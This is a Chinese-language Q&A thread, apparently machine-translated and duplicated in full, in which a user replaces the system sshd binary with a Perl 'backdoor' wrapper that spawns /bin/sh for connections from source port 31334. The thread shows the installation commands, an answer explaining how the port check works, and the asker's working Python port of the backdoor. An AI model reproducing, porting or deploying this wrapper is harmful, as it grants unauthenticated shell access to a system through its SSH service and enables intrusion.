如何确定sshd的这个perl脚本的stdin内容
How to determine the stdin content of this perl script of sshd
我正在根据 perl 编写 python3 ssh 中间件,并希望将端口确定添加到我的 python 代码中。如何判断perl脚本中stdin的内容?
perl 脚本运行正常
我使用 ubuntu 16.04 ,这是我所做的
mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd
systemctl restart sshd
这是 perl 代码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
根据查到的资料了解了STDIN,是fd吗?
- **POSIX::getpeername 允许您从 sockfd 获取对等名。
来自 https://metacpan.org/pod/POSIX::getpeername
所以这是我的 python 代码
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
for s in sys.stdin:
raddr = os.read(s,100)
if re.match(r'..zf',str(raddr)):
os.execv("/bin/sh")
with open("hello.log","a+") as f:
f.write(str(raddr))
sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
我希望知道 stdin 在 perl 中的含义,谢谢~~
STDIN
是文件描述符(C术语),在Perl中也称为文件句柄。
它通常连接到键盘,但如果在终端的管道中调用脚本,它会从管道中读取。如果脚本是 CGI,它还可以从 HTTP POST 读取数据。
现在,您想要的 getpeername
不是您发布的 link,而是这个:
https://perldoc.perl.org/functions/getpeername.html
它"returns the packed sockaddr address of the other end of the SOCKET connection",就像furas指出的那样。
STDIN
是文件句柄,而不是文件描述符 ("fd")。文件描述符是小整数,代表 I/O 通道(如套接字)在 OS 内核提供的接口("system calls",例如 read
,write
,open
, ...) C级。
STDIN
("standard input") 是一个更高级别的对象,它包含一个文件描述符(0
在 STDIN
的情况下)以及其他数据,例如缓冲区。您可以使用 fileno
从句柄中提取文件描述符。 Perl 中所有常用的 I/O 函数都对句柄进行操作,而不是原始文件描述符。
Perl 的 STDIN
对应于 Python 中的 sys.stdin
。与在 Perl 中一样,该对象包装了一个底层文件描述符,您可以使用 sys.stdin.fileno()
(对应于 Perl 中的 fileno(STDIN)
)提取它。
POSIX::getpeername 是 CPAN 上的一个模块。这不是您的 Perl 脚本使用的;否则你的代码中会有 use POSIX::getpeername;
(事实上,Perl 脚本不加载任何模块)。正如文档所说,该模块提供了一个 _getpeername
函数,可以从套接字文件描述符中获取远程地址;如果您想将它与 STDIN
一起使用,您可以使用 use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))
(或 POSIX::getpeername::_getpeername(0)
)。
您的代码调用 getpeername
function built into Perl, which takes a file handle, not a descriptor. The handle must refer to a socket. In the case of STDIN
, it is the calling process that's responsible for setting it up; the Perl code simply assumes that it is a socket. What this function returns is a byte string that contains a raw struct sockaddr_in
C structure. Normally you'd use Socket::unpack_sockaddr_in
to extract the port and IP address (or just use one of the higher-level interfaces in IO::Socket::INET
,例如$socket->peerport
).
至于正则表达式的作用,它取决于 运行 所在系统上 struct sockaddr_in
的内部结构。 C 类型本身声明为:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
sa_family_t
是 some unsigned integer type。在 Linux 上(我希望在其他 unix 系统上也是如此)它被定义为 unsigned short
,即一个 2 字节整数。
in_port_t
是一个 unsigned 2-byte integer 包含网络字节顺序的端口。
假设前两个字段之间没有填充,这意味着 getpeername
返回的字符串的前两个字节表示地址族,接下来的两个字节表示 big-endian 中的网络端口("network byte order") 格式。
这就是 /^..zf/
匹配的对象。前两个字节可以是任何内容(值 10 除外,它被解释为换行符;这很可能是代码中的错误),因此地址族无关紧要。字符串zf
对应big endian中的31334
:
$ perl -wE 'say unpack "n", "zf"'
31334
简而言之,getpeername(...)=~/^..zf/
检查(以一种非常快速和肮脏的方式)远程端口是否为 31334。如果是,包装器脚本运行 /bin/sh
;否则它转发到真正的 sshd
可执行文件。
我不确定相应的 Python 代码是什么。也许
import sys
import socket
socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334
?
谢谢大家,最后我按照melpomene的回答实现了我的目的。这是我的代码,虽然运行时会有警告,但是可以用~
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
s = socket.socket(fileno = sys.stdin.fileno())
try:
n = s.getpeername()
except:
pass
else:
raddr = n[1]
if raddr == 31334:
subprocess.run(["/bin/sh"])
#sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
并且警告是“class 'Exception' : [Errno 88] 非套接字上的套接字操作”,我对此也有点困惑信息,很高兴听听有关这方面的一些分析。
考虑到这个问题可能有人对stdin的具体内容感兴趣,所以贴在下面
<socket.socket fd=0, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.8.199', 22), raddr=('192.168.8.240', 31334)>
~~
我正在根据 perl 编写 python3 ssh 中间件,并希望将端口确定添加到我的 python 代码中。如何判断perl脚本中stdin的内容?
perl 脚本运行正常 我使用 ubuntu 16.04 ,这是我所做的
mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd
systemctl restart sshd
这是 perl 代码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
根据查到的资料了解了STDIN,是fd吗?
- **POSIX::getpeername 允许您从 sockfd 获取对等名。 来自 https://metacpan.org/pod/POSIX::getpeername
所以这是我的 python 代码
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
for s in sys.stdin:
raddr = os.read(s,100)
if re.match(r'..zf',str(raddr)):
os.execv("/bin/sh")
with open("hello.log","a+") as f:
f.write(str(raddr))
sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
我希望知道 stdin 在 perl 中的含义,谢谢~~
STDIN
是文件描述符(C术语),在Perl中也称为文件句柄。
它通常连接到键盘,但如果在终端的管道中调用脚本,它会从管道中读取。如果脚本是 CGI,它还可以从 HTTP POST 读取数据。
现在,您想要的 getpeername
不是您发布的 link,而是这个:
https://perldoc.perl.org/functions/getpeername.html
它"returns the packed sockaddr address of the other end of the SOCKET connection",就像furas指出的那样。
STDIN
是文件句柄,而不是文件描述符 ("fd")。文件描述符是小整数,代表 I/O 通道(如套接字)在 OS 内核提供的接口("system calls",例如 read
,write
,open
, ...) C级。
STDIN
("standard input") 是一个更高级别的对象,它包含一个文件描述符(0
在 STDIN
的情况下)以及其他数据,例如缓冲区。您可以使用 fileno
从句柄中提取文件描述符。 Perl 中所有常用的 I/O 函数都对句柄进行操作,而不是原始文件描述符。
Perl 的 STDIN
对应于 Python 中的 sys.stdin
。与在 Perl 中一样,该对象包装了一个底层文件描述符,您可以使用 sys.stdin.fileno()
(对应于 Perl 中的 fileno(STDIN)
)提取它。
POSIX::getpeername 是 CPAN 上的一个模块。这不是您的 Perl 脚本使用的;否则你的代码中会有 use POSIX::getpeername;
(事实上,Perl 脚本不加载任何模块)。正如文档所说,该模块提供了一个 _getpeername
函数,可以从套接字文件描述符中获取远程地址;如果您想将它与 STDIN
一起使用,您可以使用 use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))
(或 POSIX::getpeername::_getpeername(0)
)。
您的代码调用 getpeername
function built into Perl, which takes a file handle, not a descriptor. The handle must refer to a socket. In the case of STDIN
, it is the calling process that's responsible for setting it up; the Perl code simply assumes that it is a socket. What this function returns is a byte string that contains a raw struct sockaddr_in
C structure. Normally you'd use Socket::unpack_sockaddr_in
to extract the port and IP address (or just use one of the higher-level interfaces in IO::Socket::INET
,例如$socket->peerport
).
至于正则表达式的作用,它取决于 运行 所在系统上 struct sockaddr_in
的内部结构。 C 类型本身声明为:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
sa_family_t
是 some unsigned integer type。在 Linux 上(我希望在其他 unix 系统上也是如此)它被定义为 unsigned short
,即一个 2 字节整数。
in_port_t
是一个 unsigned 2-byte integer 包含网络字节顺序的端口。
假设前两个字段之间没有填充,这意味着 getpeername
返回的字符串的前两个字节表示地址族,接下来的两个字节表示 big-endian 中的网络端口("network byte order") 格式。
这就是 /^..zf/
匹配的对象。前两个字节可以是任何内容(值 10 除外,它被解释为换行符;这很可能是代码中的错误),因此地址族无关紧要。字符串zf
对应big endian中的31334
:
$ perl -wE 'say unpack "n", "zf"'
31334
简而言之,getpeername(...)=~/^..zf/
检查(以一种非常快速和肮脏的方式)远程端口是否为 31334。如果是,包装器脚本运行 /bin/sh
;否则它转发到真正的 sshd
可执行文件。
我不确定相应的 Python 代码是什么。也许
import sys
import socket
socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334
?
谢谢大家,最后我按照melpomene的回答实现了我的目的。这是我的代码,虽然运行时会有警告,但是可以用~
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
s = socket.socket(fileno = sys.stdin.fileno())
try:
n = s.getpeername()
except:
pass
else:
raddr = n[1]
if raddr == 31334:
subprocess.run(["/bin/sh"])
#sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
并且警告是“class 'Exception' : [Errno 88] 非套接字上的套接字操作”,我对此也有点困惑信息,很高兴听听有关这方面的一些分析。
考虑到这个问题可能有人对stdin的具体内容感兴趣,所以贴在下面
<socket.socket fd=0, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.8.199', 22), raddr=('192.168.8.240', 31334)>
~~